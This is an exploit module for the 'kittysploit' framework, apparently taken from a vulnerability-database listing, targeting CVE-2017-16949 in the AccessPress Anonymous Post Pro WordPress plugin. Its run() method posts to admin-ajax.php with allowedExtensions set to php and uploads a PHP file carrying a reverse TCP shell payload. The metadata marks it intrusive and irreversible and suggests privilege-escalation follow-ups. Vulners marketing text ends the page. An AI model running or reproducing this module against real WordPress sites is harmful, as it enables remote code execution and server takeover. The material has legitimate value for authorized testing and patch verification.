Wordpress Plugin Accesspress - Shell Upload
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
__info__ = {
"name": "Wordpress Plugin Accesspress - Shell Upload",
"description": "An issue was discovered in the AccessKeys AccessPress Anonymous Post Pro plugin through 3.1.9 "\
"for WordPress. Improper input sanitization allows the attacker to override the settings "\
"for allowed file extensions and upload file size, related to inc/cores/file-uploader.php "\
"and file-uploader/file-uploader-class.php. This allows the attacker to upload anything they "\
"want to the server, as demonstrated by an action=ap_file_upload_action&allowedExtensions[]=php "\
"request to /wp-admin/admin-ajax.php that results in a .php file upload and resultant PHP code execution.",
"cve": "2017-16949",
"payload": {
"default": "payloads/singles/cmd/php/reverse_tcp",
"arch": Arch.PHP,
"platform": Platform.PHP,
"category": "singles",
},
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
},
}
def run(self):
filename = self.random_text(8)+".php"
payload = "<?php "+self.payload + "?>"
files = {'qqfile': (filename, payload, "multipart/form-data")}
r = self.http_request(
method="POST",
path="/wp-admin/admin-ajax.php?action=ap_file_upload_action&file_uploader_nonce=[nonce]&allowedExtensions[]=php&sizeLimit=64000",
files=files
)
if not r:
self.not_vulnerable()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Aug 2026 13:34Current
6.3Medium risk
Vulners AI Score6.3